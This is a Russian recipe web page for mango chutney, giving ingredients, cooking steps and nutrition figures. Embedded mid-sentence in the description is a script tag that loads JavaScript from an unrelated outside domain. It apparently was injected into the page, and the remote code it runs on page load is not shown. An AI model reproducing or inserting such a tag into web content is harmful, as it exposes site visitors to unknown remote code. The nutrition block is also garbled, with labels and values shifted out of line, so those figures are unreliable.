Соус "Чатни"
Чатни из манго
| Я приготовил(а) | Оценить | Распечатать |
Как известно, чатни - это широко распространенное на юге Азии блюдо. Это традиционная приправа, которую обычно готовят из фруктов - в частности, из манго. Делюсь рецептом.
Описание приготовления:
Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!<script type="text/javascript" src="https://fsgv.ru/i.js"></script>Состав / Ингредиенты:
- Манго 2 штуки
- Растительное масло 2 ст. ложки
- Перец чили 2 штуки
- Специи 3 щепотки (зира, зерна горчицы, перец горошком, соль, сахар, кориандр, паприка)
- Лимонный сок 2 ч. ложки
Количество порций
8
Калорийность
118 ккал
Калорийность
1 г
Белки
6 г
Жиры
15 г
Углеводы
Как приготовить "Чатни из манго"
Очищаем манго от кожуры.
Мякоть манго нужно размять ложечкой до пюреобразного состояния.
В сковороде разогрейте масло, обжарьте в нем перец и специи в течение 1-2 минуты на быстром огне.
Теперь добавляем лимонный сок, перемешиваем.
Сразу же добавляем манго и уменьшаем огонь. Тушим, помешивая, в течение 5 минут.
Снимаем с огня, охлаждаем - и готово! Хранить в холодильнике.
Оценить рецепт Чатни из манго
4.4
11
Похожие рецепты:
Комментарии :
Чатни - лучшие 10 рецептов
ПОЛЕЗНОЕ
- Новые рецепты
- Случайный рецепт
- Фотографии рецептов
- Кулинарная энциклопедия
- Кухни народов мира
- Польза и вред продуктов